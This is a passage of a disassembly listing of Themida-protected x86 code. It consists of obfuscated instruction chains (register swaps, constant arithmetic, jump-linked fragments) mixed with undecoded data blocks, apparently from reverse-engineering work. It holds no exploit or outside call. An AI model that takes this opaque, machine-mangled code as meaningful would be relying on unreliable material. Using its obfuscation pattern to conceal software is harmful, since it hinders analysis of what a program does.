XREF: Themida_:00555C01j add dh, bl pop ebx add dh, 27h sub dh, 0C9h xor dh, 97h add al, dh pop edx jmp loc_562FC2 ; --------------------------------------------------------------------------- loc_55A81D: ; CODE XREF: Themida_:0055BD57j push 7CD96B4Eh push dword ptr [esp] pop edi add esp, 4 shr edi, 3 dec edi jmp loc_561F13 ; --------------------------------------------------------------------------- loc_55A835: ; CODE XREF: Themida_:00562A99j inc ebp dec ebp jmp loc_552D68 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 5DEF3100h, 0FF9AAAE9h, 80EFD0FFh, 0F828A0C7h dd 4D8285Bh, 2434FFA0h, 4C4835Bh, 0E9585450h, 0FFFF9BA0h ; --------------------------------------------------------------------------- loc_55A868: ; CODE XREF: Themida_:00554322j sub esi, eax mov eax, [esp] add esp, 4 and ecx, esi pop esi jmp loc_5577D5 ; --------------------------------------------------------------------------- loc_55A87B: ; CODE XREF: Themida_:00563044j sub esp, 4 mov [esp], ebp mov ebp, 296E61EFh xchg eax, ebp neg eax xchg eax, ebp push ebx mov ebx, 0D6919E13h jmp loc_55C152 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B9240C89h, 4, 0FF85BDE9h, 48966FFh, 4EC8324h, 0B6241489h dd 2815B041h, 0C6085AF0h, 0DEF65866h, 80FFEE80h, 0CE8028E6h dd 0B551667Ah, 15F58079h, 0ED80CDFEh, 0E1C680C8h, 0EE80EE28h dd 515966E1h, 0E980AEB1h, 0BE03E905h, 0A680000h, 8900003Ah dd 5868243Ch, 89000019h, 4832424h, 34FF0424h, 0B0DAE924h dd 82DFFFFh, 0E924691Eh, 6C75h, 0C381665Dh, 66511DBFh dd 664349B9h, 0E1816649h, 816668B7h, 0E9576DC9h, 0B140h dd 9C2424D3h, 0FF8307E9h, 48F5FFFh, 24248B24h, 0E9240489h dd 744Fh ; --------------------------------------------------------------------------- loc_55A940: ; CODE XREF: Themida_:00555396j add esp, 4 jmp loc_557D56 ; --------------------------------------------------------------------------- dd 4C481h, 0D2F70000h, 4D5DF281h, 0D6313109h, 0FFEE815Ah dd 4EFFFFFFh, 0D2B8E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A966: ; CODE XREF: Themida_:005665ADj add ebx, eax sub ebx, 4B8046D5h pop eax jmp loc_55C008 ; --------------------------------------------------------------------------- loc_55A974: ; CODE XREF: Themida_:005643F1j pop eax mov esi, ebp pop ebp sub esp, 4 mov [esp], esi push dword ptr [esp] jmp loc_565EE2 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 4EC81h, 14890000h, 81E28924h, 4C2h, 83E95000h dd 81000008h, 1DA4F5h, 0F1F58128h, 113D26Ch, 4AE95DEAh dd 83FFFFCBh, 0B95104C4h, 2C560FEAh, 0E907E9C1h, 0FFFFCAA6h dd 453AA4BBh, 8BDD2939h, 8AE9241Ch db 0BFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A9D7: ; CODE XREF: Themida_:00563088j pop eax add eax, 0FFFFFFFFh push ebp push eax jmp loc_56055A ; --------------------------------------------------------------------------- loc_55A9E4: ; CODE XREF: Themida_:005657F6j pop esp jmp loc_552C38 ; --------------------------------------------------------------------------- loc_55A9EA: ; CODE XREF: Themida_:00559DE7j mov eax, [esp] push 0B44h mov [esp], eax mov eax, esp sub esp, 4 jmp loc_552D2D ; --------------------------------------------------------------------------- dw 48Fh dd 48F5C24h, 29665C24h, 0E99C2404h, 0FFFF8224h ; --------------------------------------------------------------------------- loc_55AA14: ; CODE XREF: Themida_:00553279j not dword ptr [esp] mov edx, [esp] add esp, 4 xchg edx, [esp] pop esi xor ebp, esi xor esi, ebp xor ebp, esi xor [esp], ebp xor ebp, [esp] xor [esp], ebp mov ebx, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] xor eax, ebx xor ebx, eax xor eax, ebx push 45A5h mov [esp], esi push esp mov esi, [esp] jmp loc_55B756 ; --------------------------------------------------------------------------- dw 815Dh dd 0B55E3AC2h, 0F866E92Dh, 5066FFFFh, 0A563E9h, 0E9EA8900h dd 3D34h, 5358C689h, 0FFF842E9h, 48F54FFh, 43E95324h, 0BAFFFF9Dh dd 3BA5715Fh, 0A57163BDh, 5AD5293Bh, 535DE801h, 8663E9h dd 74E95E00h, 0B5FFFFA6h, 59E828A9h, 5124148Bh, 0BD55E189h dd 1E640411h, 668AE581h, 0ED815651h, 1556640Dh, 0E8C2E94Dh dd 2C87FFFFh, 24248B24h, 0FFFE4FE9h, 66AD66FFh, 9168D831h dd 89000023h, 1DE92434h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AAEB: ; CODE XREF: Themida_:0055586Aj pop eax pop edx add edx, 4 sub esp, 4 mov [esp], esi push 5299h mov [esp], eax push 475F3525h jmp loc_557C09 ; --------------------------------------------------------------------------- aS?w db '^é?W',0 db 0 ; --------------------------------------------------------------------------- loc_55AB11: ; CODE XREF: Themida_:0055FF87j not ebx push ecx push ebx mov ebx, 61883733h mov ecx, 83519693h add ecx, 4B4504EDh add ecx, 23255C66h jmp loc_55D012 ; --------------------------------------------------------------------------- dd 33241C31h, 895C241Ch, 0E189240Ch, 4BD55h, 0E9010000h dd 0E956575Dh, 90Eh, 5E08950h, 4, 4BA52h, 0D0290000h, 74FF505Ah dd 48B0424h, 4C48124h, 8F000000h, 0E95C2404h, 8149h ; --------------------------------------------------------------------------- loc_55AB74: ; CODE XREF: Themida_:00563E5Cj xor ebp, 8D009C04h add esi, ebp mov ebp, [esp] jmp loc_563BDA ; --------------------------------------------------------------------------- dd 1EE835Dh, 4EC81h, 2C890000h, 6D59BD24h, 0E58106F3h dd 5D380799h, 0ACBEED81h, 0EE31EA14h, 384CE9h, 0FBBE5600h dd 4651CF55h, 84E9DEF7h, 3300003Eh, 248B240Ch, 4C82824h dd 0D72C5932h, 673868h, 24148900h, 0B6B05066h, 5866C688h dd 88E98A04h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABDB: ; CODE XREF: Themida_:005653C6j pop edi jmp loc_5600D8 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 685C2434h, 0D7Eh, 0A74EE9h, 0C2835C00h, 6157E904h dd 0C6290000h, 674AE9h db 0 ; --------------------------------------------------------------------------- loc_55AC05: ; CODE XREF: Themida_:005615ECj push ebp jmp loc_5650B1 ; --------------------------------------------------------------------------- aXsL db 'XéÑl',0 dd 2434FF00h, 8324048Bh, 0E95604C4h, 7AE7h, 24048B66h dd 815B5453h, 4C3h, 4EB8100h, 33000000h, 1C31241Ch, 241C3324h dd 2720E9h db 0 ; --------------------------------------------------------------------------- loc_55AC41: ; CODE XREF: Themida_:00560357j push 356Dh mov [esp], esi mov esi, 4 add ebx, esi pop esi push 40Ch mov [esp], edx push eax mov eax, 0FD51289h mov edx, eax pop eax or edx, 66317993h neg edx sub esp, 4 mov [esp], edx jmp loc_5600CF ; --------------------------------------------------------------------------- dd 4EC8353h, 0E9241489h, 0FFFFCF97h ; --------------------------------------------------------------------------- loc_55AC84: ; CODE XREF: Themida_:00567D6Fj push esi push edi jmp loc_55E372 ; --------------------------------------------------------------------------- loc_55AC8B: ; CODE XREF: Themida_:005575DEj push edx jmp loc_5574B7 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 0C5815D04h, 4, 2DCA68h, 24148900h, 2A4CEA68h, 3E95A2Fh dd 0BEFFFFB1h, 33236471h, 0D59C681h, 0D6F775FAh, 3FE9BA52h dd 0EA810653h, 68F478EAh, 0FF95E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ACCD: ; CODE XREF: Themida_:00563CC9j sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_55F161 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 241C8904h, 7EAAE9h, 0C1EB8100h, 5E262301h dd 0E9585450h, 0ABCBh, 24048B66h, 54E368h, 0B8CEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AD0A: ; CODE XREF: Themida_:0055DD78j sub eax, 3F6B2F92h dec eax neg eax sub eax, 12B8838Ch sub edx, eax jmp loc_566DB8 ; --------------------------------------------------------------------------- dw 248Bh dd 24043124h, 0FF7F0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AD29: ; CODE XREF: Themida_:0055E377j mov esi, edi pop edi push edx mov edx, 4E1546E0h jmp loc_55A1F1 ; --------------------------------------------------------------------------- loc_55AD37: ; CODE XREF: Themida_:0055F7F8j pop dword ptr [esp] mov esp, [esp] push eax push esp pop eax add eax, 4 add eax, 4 jmp loc_55E517 ; --------------------------------------------------------------------------- loc_55AD4F: ; CODE XREF: Themida_:0055EF64j xor edx, 0A7D6A536h or ecx, edx jmp loc_55D791 ; --------------------------------------------------------------------------- dd 8104C483h, 4C6h, 1466E900h, 0BD660000h, 0C16612A0h dd 0D16603EDh, 0F58166E5h, 81662615h, 66E971C5h, 665DEE01h dd 0BD665551h, 0BBE97CB6h, 0AD00003Fh, 69747605h, 2B02052Ah dd 0D8016D33h, 332B022Dh, 0DD2EE96Dh, 0CFFFFFFh, 2414F724h dd 0E924148Bh, 0FFFFFB94h ; --------------------------------------------------------------------------- loc_55ADB4: ; CODE XREF: Themida_:0056656Fj push dword ptr [esp] pop ebx jmp loc_55F280 ; --------------------------------------------------------------------------- aXhxa db 'Xh•A',0 dw 8900h dd 2B82404h, 57000000h, 501168h, 243C8B24h, 5D3FE9h, 0F1C78100h dd 811E747Dh, 0F70B3EFh, 43F78109h, 81309E73h, 221179F7h dd 5FFB019Dh, 1C8BDD01h, 4C48324h, 4C581h, 2C870000h, 9B09E924h dd 5966FFFFh, 0BF2CF62Ch, 0BF04D800h, 0C164E9h, 64E95C00h dd 1000055h, 0BEF81EFh, 811BF74Ah, 680ED2C7h, 0AA6E914h dd 48F0000h, 24248B24h, 9C240428h, 97DE9h, 241C8900h, 985DE2BBh dd 0BE38144h, 6811060Fh, 6260h, 0B8240489h, 281B1234h dd 5158C309h, 0E32B88B9h, 0E9CB2977h, 0A739h ; --------------------------------------------------------------------------- loc_55AE6C: ; CODE XREF: Themida_:00554890j or ebp, 6BE105D1h push 36DCh mov [esp], ecx push edx mov edx, 61850EF8h mov ecx, 305572D2h add ecx, edx jmp loc_559C50 ; --------------------------------------------------------------------------- loc_55AE8C: ; CODE XREF: Themida_:0055C093j add esp, 4 jmp loc_566BF2 ; --------------------------------------------------------------------------- db 88h dd 0E9FD88E7h, 7C31h, 31E9C581h, 85E94486h, 81FFFFE0h dd 4C4h, 94FDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AEB6: ; CODE XREF: Themida_:0055F399j add al, dh pop edx sub esp, 4 mov [esp], ecx push 594h mov [esp], edx push ebx jmp loc_567BBC ; --------------------------------------------------------------------------- dd 5A2434FFh, 7B0868h, 240C8900h, 0C181E189h, 4, 0E904C183h dd 0FFFFB335h, 51242C89h, 0A917F3B9h, 8B5D5153h, 0C9E9240Ch db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AEFF: ; CODE XREF: Themida_:005564BEj mov [esp], esi push eax push esi jmp loc_55D0BA ; --------------------------------------------------------------------------- db 81h, 0CFh, 0DAh dd 8154F765h, 4B37EBCFh, 93F78144h, 0E9503379h, 0FFFFAF90h dd 4C4815Bh, 0E9000000h, 5E35h, 5857C281h, 6859254Eh, 49F0h dd 0B8240489h, 2, 48BC229h, 4C48124h, 0E9000000h, 0ABD4h dd 50A9F381h, 0DD293CF0h, 81241C8Bh, 4C4h, 5DEB0900h, 2693E9h dd 24248B00h, 0FFAF36E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AF71: ; CODE XREF: Themida_:00561F4Aj mov [esp], ebx sub dword ptr [esp], 3D7A7C9Eh pop eax push 7E6Fh mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 24604272h push ecx push edi jmp loc_565396 ; --------------------------------------------------------------------------- db 45h, 81h, 0F5h dd 0A5482B2Fh, 315DEE89h, 248BE9F5h, 0EF810000h, 361A6B3Fh dd 21D4C781h, 0FD2992A7h, 0E9EA295Fh, 4CFFh ; --------------------------------------------------------------------------- loc_55AFC8: ; CODE XREF: Themida_:0055E4B1j pop eax add esi, 2 xchg esi, [esp] jmp loc_56445C ; --------------------------------------------------------------------------- loc_55AFD4: ; CODE XREF: Themida_:0055DA7Aj add esi, 24482D42h sub esi, edi sub esi, 24482D42h pop edi shl esi, 3 add esi, 1125DB4Ch jmp loc_55565D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 29000000h, 2434FFF0h, 5124348Bh, 0C181E189h, 4, 4C181h dd 2EE90000h, 89000009h, 74FF240Ch, 9BE90424h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B01F: ; CODE XREF: Themida_:00554261j mov ebx, 4 jmp loc_5652EE ; --------------------------------------------------------------------------- db 51h, 2 dup(0B9h) dd 0B80B2744h, 1CE95549h, 0C74A9E05h, 2DC8295Ah, 5AC74A9Eh dd 0BBCE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B046: ; CODE XREF: Themida_:0055B29Aj mov [esp], ecx push edi mov edi, 72F649D1h jmp loc_559F60 ; --------------------------------------------------------------------------- dd offset loc_40E064+4 dd 243C8900h, 4BB53h, 8B530000h, 0C483243Ch, 5E27E904h dd 7D680000h, 89000032h, 41E9243Ch db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B07B: ; CODE XREF: Themida_:00553221j xor ebx, 2E997FAFh sub ebx, 50DA3BB8h add ebx, 55A91F43h shl ebx, 5 xor ebx, 4DE0B066h add eax, ebx pop ebx mov ecx, eax jmp loc_56065C ; --------------------------------------------------------------------------- dd 89FB8953h, 69D2E9DDh, 0EC810000h, 4, 0B7241C89h, 80EFD09Dh dd 0DFF63CE7h, 6EB8E9h, 24048900h, 0B6968h, 899FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B0CE: ; CODE XREF: Themida_:00565FD3j pop edi jmp loc_5619B8 ; --------------------------------------------------------------------------- dd 15FCF281h, 0E2C146EFh, 0CD43E904h, 14F70000h, 7C14E924h dd 8B5A0000h, 0C481241Ch, 4, 2ACD6855h, 34FF088Ch, 0C4835D24h dd 2BA5204h, 293B4823h, 0B2055AD0h, 0E947A012h, 72C7h dd 5DB3EF81h, 0C7012FB1h, 4EC81h, 0C890000h, 707EB924h dd 8BE92036h, 0FF00007Ah, 8B042474h, 0C481241Ch, 4, 0FFDCE5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B141: ; CODE XREF: Themida_:0055D3E3j shr ebp, 5 push esi mov esi, 7CD35721h neg esi shl esi, 5 jmp loc_561368 ; --------------------------------------------------------------------------- dd 17E9E689h, 0F7FFFF99h, 0CEF781D7h, 81658E47h, 0D85B43C7h dd 1D4DE993h, 0C300000h, 240C3224h, 68240C30h, 3775h, 86240C89h dd 0D1F6240Ch, 8B240C86h, 0EC81240Ch, 4, 0E9241C89h, 0FFFFCC3Ch ; --------------------------------------------------------------------------- loc_55B198: ; CODE XREF: Themida_:00557D61j mov [esp], ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 167Dh jmp loc_565D13 ; --------------------------------------------------------------------------- db 52h, 0B2h, 5Dh dd 0E2C0C2FEh, 0D602E905h, 0E959FFFFh, 0FFFF9E81h, 0C381F301h dd 72916ECAh, 36F5C381h, 348B40EBh, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 9580E9h db 0 ; --------------------------------------------------------------------------- loc_55B1F5: ; CODE XREF: Themida_:005541CBj sub dl, 76h mov ax, [esp] add esp, 2 inc dl shr dl, 3 push ecx push bx mov bl, 0CFh mov cl, bl pop bx push ecx mov cl, 0F8h sub dl, cl pop ecx jmp loc_560D31 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 7617E924h, 93B80000h, 5521C5Fh, 9835E4Ch dd 0DB354840h, 0E95B9FBDh, 0B5FEh, 0E9240487h, 6240h ; --------------------------------------------------------------------------- loc_55B244: ; CODE XREF: Themida_:00560F50j pop edx sub ecx, 1EA52BF1h sub ecx, ebp jmp loc_56782E ; --------------------------------------------------------------------------- dw 0E801h dd 9A28532Dh, 0F0C9E94Bh, 8B66FFFFh, 33682404h, 89000058h dd 0E0892404h, 7389E9h db 0 ; --------------------------------------------------------------------------- loc_55B271: ; CODE XREF: Themida_:00555EF8j or ebx, 3C0537A1h push ebx push ecx pop ebx pop ecx neg ecx xchg ecx, ebx shr ebx, 1 jmp loc_55615A ; --------------------------------------------------------------------------- dw 0D2F7h dd 56C0F281h, 0E2C165DDh, 95E94A04h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B297: ; CODE XREF: Themida_:0056067Cj sub esp, 4 jmp loc_55B046 ; --------------------------------------------------------------------------- db 81h dd 0BF6CE3C7h, 3EFC120h, 70C9EF81h, 0F8899CA6h, 716FE9h dd 1DBB5300h, 5024146Ch, 690D39B8h, 0A099E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B2C6: ; CODE XREF: Themida_:00559496j xor ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_552C38 ; --------------------------------------------------------------------------- loc_55B2D5: ; CODE XREF: Themida_:00555177j pop edx jmp loc_56269C ; --------------------------------------------------------------------------- loc_55B2DB: ; CODE XREF: Themida_:0055DE18j xchg edx, [esp] pop esp mov [esp], edx push 113Eh mov [esp], ebx jmp loc_562CEA ; --------------------------------------------------------------------------- db 59h dd 14F75091h, 0C1315824h, 0FFA9C6E9h, 4EB83FFh, 5C241C87h dd 0B602E9h, 59C80000h, 34FF772Ch, 2434FF24h, 4C48359h dd 0E904C483h, 0FFFF7E86h, 5B2434FFh, 5704C483h, 896B0EBFh dd 0D9A6E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B332: ; CODE XREF: Themida_:0055CDE6j not ecx xchg ecx, edx push edx not dword ptr [esp] pop edx jmp loc_55F232 ; --------------------------------------------------------------------------- aSax db '\é x',0 align 2 dw 0DE01h dd 5AEDC681h, 34FF68F8h, 62E95B24h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B357: ; CODE XREF: Themida_:00559698j add dword ptr [esp], 579511BBh jmp loc_55999F ; --------------------------------------------------------------------------- loc_55B363: ; CODE XREF: Themida_:00552C72j pop ebx sub al, 2Ah jmp loc_5543CD ; --------------------------------------------------------------------------- loc_55B36B: ; CODE XREF: Themida_:00559B03j pop ebp neg ebp shl ebp, 5 not ebp push esi push ebp mov ebp, 681E0AC8h jmp loc_560243 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_55D942 ; --------------------------------------------------------------------------- loc_55B39F: ; CODE XREF: Themida_:00565CC4j pop eax add eax, 4 push edx mov edx, 4 add eax, edx mov edx, [esp] push ebp mov ebp, esp jmp loc_553E22 ; --------------------------------------------------------------------------- dd 0A97FE94Bh, 0E781FFFFh, 17A60FB8h, 0A4DFE9h, 24148900h dd 287CE9h, 241C8900h, 0C381E389h, 4, 0DC09E951h, 5B5EFFFFh dd 0EAF1E94Eh, 0EC81FFFFh, 4, 5A93E9h, 5AD13100h, 0C8BC801h dd 4C48324h, 405h, 6D47E900h, 4BD0000h, 0E9000000h, 0FFFFC49Dh dd 0E92434FFh, 8AEDh ; --------------------------------------------------------------------------- loc_55B41C: ; CODE XREF: Themida_:005535D3j push edx mov edx, edi mov ecx, edx pop edx pop edi jmp loc_554F7A ; --------------------------------------------------------------------------- loc_55B428: ; CODE XREF: Themida_:0055A4DBj mov ecx, 2B8B0BBDh jmp loc_567D8D ; --------------------------------------------------------------------------- loc_55B432: ; CODE XREF: Themida_:0055846Fj xor al, dl pop edx push edx mov dh, 5Ah jmp loc_563676 ; --------------------------------------------------------------------------- db 81h, 34h, 24h dd 385F05DFh, 0A7E9565Fh, 9FFFFADh, 0BD555BDFh, 1, 8E80E956h dd 39BEFFFFh, 815F8E58h, 0E7040FC6h, 5EF789BEh, 7747CF81h dd 0EC81590Dh, 4, 0BB241C89h, 5F7D7F4Dh, 7EBDC781h, 0DF290496h dd 7EBDEF81h, 5EE90496h, 81FFFF8Ah, 9C6021C3h, 8F0AE911h dd 0F65AFFFFh, 68C5FED5h, 4143h, 0E9241C89h, 0BF64h, 0C8BCF29h dd 4C48324h, 3C8BFB01h, 0E1895124h, 4C181h, 29E90000h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B4C7: ; CODE XREF: Themida_:005552E8j mov ah, [esp] add esp, 2 jmp loc_55666D ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFF9649h, 2404305Ch, 5B7AE99Ch, 0D7010000h, 5FFE295Ah dd 12BBB951h, 0CE295975h, 0AF56E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B4F6: ; CODE XREF: Themida_:005607A1j xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 2FBF3F51h jmp loc_55DC96 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 0AA4EE900h, 0CD2FFFFh, 1DE99C24h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B51B: ; CODE XREF: Themida_:00565A52j pop edx pop ecx sub [edi+24h], esi push dword ptr [esp] pop esi push ebx push esp jmp loc_55A2B3 ; --------------------------------------------------------------------------- loc_55B52B: ; CODE XREF: Themida_:0055B61Dj add eax, 0A08A18E0h sub edi, 16BD37C4h jmp loc_564DA6 ; --------------------------------------------------------------------------- loc_55B53B: ; CODE XREF: Themida_:0055BD8Bj pop eax and dh, ch jmp loc_55EB62 ; --------------------------------------------------------------------------- db 0C1h dd 0C68105EEh, 331D1C38h, 0AFE9F329h, 1000080h, 0CE895FF9h dd 0E9240C8Bh, 0FFFFFA91h, 0E95BDD21h, 0CDh ; --------------------------------------------------------------------------- loc_55B568: ; CODE XREF: Themida_:0056488Cj push edx mov edx, 105714B5h xor edx, 6E696682h add edx, 0C7DDBA81h and esi, edx mov edx, [esp] add esp, 4 push eax mov eax, 40140C34h xor esi, eax pop eax add ebx, esi mov esi, [esp] add esp, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_553BD9 ; --------------------------------------------------------------------------- db 0E9h, 8Eh, 76h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B5AA: ; CODE XREF: Themida_:00566A98j mov ecx, 3FCC5B5Dh jmp loc_5534D4 ; --------------------------------------------------------------------------- dd 5398E981h, 0BDE985B3h, 8BFFFF79h, 0B2522424h, 9F73E99Ch dd 0EC83FFFFh, 24048904h, 42474FFh, 24048F58h, 0C870E95Ch dd 0D7210000h, 7762E9h, 0E9D80100h, 0FFFFACD3h, 3B35CA81h dd 40685FFDh, 0E9000023h, 0FFFFA323h, 4EC81h, 2C890000h dd 24E95424h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B60B: ; CODE XREF: Themida_:00564433j mov ecx, 0A94788Ch jmp loc_55D084 ; --------------------------------------------------------------------------- loc_55B615: ; CODE XREF: Themida_:00561F0Ej shl eax, 7 or eax, 5A554A1Ch jmp loc_55B52B ; --------------------------------------------------------------------------- loc_55B622: ; CODE XREF: Themida_:0055D1A9j sub esp, 4 mov [esp], ebx push 330353h jmp loc_56380C ; --------------------------------------------------------------------------- db 81h, 0C5h, 0E3h dd 914234Bh, 0EB815DEBh, 77FFDF39h, 835BD901h, 0C4E904ECh db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B64F: ; CODE XREF: Themida_:00564F71j mov ecx, eax pop eax push ecx jmp loc_5602C5 ; --------------------------------------------------------------------------- loc_55B658: ; CODE XREF: Themida_:00564F64j shr edi, 2 sub edi, 20DB131Eh sub edi, 0EF0157E3h jmp loc_55E80E ; --------------------------------------------------------------------------- loc_55B66C: ; CODE XREF: Themida_:0055C678j push edx mov edx, 839F9B14h sub eax, edx mov edx, [esp] add esp, 4 sub ecx, 14295606h add ecx, eax add ecx, 14295606h push dword ptr [esp] pop eax jmp loc_55848F ; --------------------------------------------------------------------------- dd 0EF81CF01h, 8EF28BAh, 0FFA6FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B6A1: ; CODE XREF: Themida_:00556DAEj add esp, 4 loc_55B6A7: ; CODE XREF: Themida_:00567E5Ej push 7417h mov [esp], ebx push dword ptr [esp] pop ebx push ebx jmp loc_55514F ; --------------------------------------------------------------------------- db 5Fh, 51h, 57h dd 97787BFh, 247C292Ch, 7810E904h, 48FFFFFh, 24048124h dd 4, 5524048Fh, 4BDh, 46E95600h, 81000006h, 4C4h, 3B3D6800h dd 34890000h, 14966824h, 0A0E90000h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B6FB: ; CODE XREF: Themida_:005647E3j push 4BE6h mov [esp], edi jmp loc_55C670 ; --------------------------------------------------------------------------- dd 83BF6657h, 0C0BE661Ah, 0FE296689h, 81243C8Bh, 4C4h dd 66506600h, 10B96651h, 0C8896606h, 0FFAEFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B72D: ; CODE XREF: Themida_:00557614j push eax not dword ptr [esp] pop eax jmp loc_560179 ; --------------------------------------------------------------------------- db 0FFh dd 505A2434h, 0F7685854h, 89000048h, 0C6E9240Ch db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B74B: ; CODE XREF: Themida_:00562BB5j push dword ptr [esp] push dword ptr [esp] jmp loc_55F75E ; --------------------------------------------------------------------------- loc_55B756: ; CODE XREF: Themida_:0055AA5Dj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 101Ah mov [esp], edi push 48B7h mov [esp], ebx push 0B767A5Bh mov ebx, [esp] add esp, 4 push eax jmp loc_566ACF ; --------------------------------------------------------------------------- dw 9BBh dd 0F765285Fh, 53CE9DBh, 0F5810000h, 34650341h, 48BCD81h dd 0E9511DC1h, 0A830h ; --------------------------------------------------------------------------- loc_55B7A8: ; CODE XREF: Themida_:005580BEj sub ebp, eax pop eax or edx, ebp pop ebp jmp loc_5570FE ; --------------------------------------------------------------------------- db 53h dd 0FF54DB68h, 77D4E963h, 75E9FFFFh db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B7C3: ; CODE XREF: Themida_:0055FDBDj push 132B3E6Dh jmp loc_55408C ; --------------------------------------------------------------------------- db 89h, 0E2h, 55h dd 4BDh, 5DEA0100h, 4BD55h, 0C2810000h, 6BCA175Fh, 3CE9EA29h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B7EB: ; CODE XREF: Themida_:00556BD6j add edx, ecx jmp loc_55F52B ; --------------------------------------------------------------------------- dw 0EE83h dd 14875601h, 0F7F28724h, 9B49E9D6h, 4FBE0000h, 5677E001h dd 0FFB4B4E9h, 243C89FFh, 0AC049DBFh, 8BF9297Eh, 0C483243Ch dd 7B6CE904h, 0C280FFFFh, 0B5515384h, 0EC5EE9A8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B82E: ; CODE XREF: Themida_:00560F94j sub edx, 0AC9FEABh shl edx, 1 inc edx not edx dec edx dec edx sub edx, 40B59222h sub edi, 3FDE345Fh add edi, edx jmp loc_5617C8 ; --------------------------------------------------------------------------- aBUunnsg db ')Ê“unéG³',0 db 0 ; --------------------------------------------------------------------------- loc_55B85B: ; CODE XREF: Themida_:00553422j add ecx, 4 xchg ecx, [esp] pop esp push 0C5h mov [esp], ebp mov ebp, esp push 3BA6h mov [esp], esi mov esi, 4 add ebp, esi mov esi, [esp] add esp, 4 push eax jmp loc_554590 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 1C77FF00h, 0B3240481h, 0FF366C5Dh, 68592434h dd 29E9h, 89240C89h, 4C181E1h, 81000000h, 4ECh, 8456E900h dd 0EE81FFFFh, 6B706ECCh, 0C681D629h, 6B706ECCh, 67B9515Ah dd 294C4A63h, 190559C8h, 0E973AE4Eh, 0FFFFB2E0h, 0A6EF815Dh dd 89680F2Ah, 0FBE95FF8h, 57FFFF92h, 0C781E789h, 4, 8704C783h dd 685C243Ch, 6696h, 0FF241489h, 0FF042474h, 835A2434h dd 19E904C4h, 68000034h, 39814F00h, 0EE81465Eh, 250F260Eh dd 0F75E5956h, 18E955D1h, 83FFFF81h, 1C8704EBh, 0C895C24h dd 81E18924h, 4C1h, 2C18300h, 0FFD369E9h, 240C87FFh, 0FF8AB9E9h dd 1DEA81FFh, 126E760h, 0C6815AD6h, 2, 0E9243433h, 6C37h ; --------------------------------------------------------------------------- loc_55B960: ; CODE XREF: Themida_:00554FC9j mov dl, ch pop ecx add al, dl jmp loc_5594E7 ; --------------------------------------------------------------------------- dw 0F229h dd 8E2C15Eh, 7AE9DAF7h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B977: ; CODE XREF: Themida_:00568197j push 32FBh mov [esp], edx push 15402E36h mov edx, [esp] add esp, 4 not edx jmp loc_56811E ; --------------------------------------------------------------------------- db 0BEh, 0DEh, 4Ch dd 0F02919B9h, 5D8295Eh, 19B94CDEh, 0E92434FFh, 24C8h ; --------------------------------------------------------------------------- loc_55B9A8: ; CODE XREF: Themida_:005592CAj and ebx, 657E085Bh push ebx jmp loc_564675 ; --------------------------------------------------------------------------- loc_55B9B4: ; CODE XREF: Themida_:005586E5j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ecx mov ecx, 46E65009h push ecx inc dword ptr [esp] pop ecx shr ecx, 8 add ecx, 1 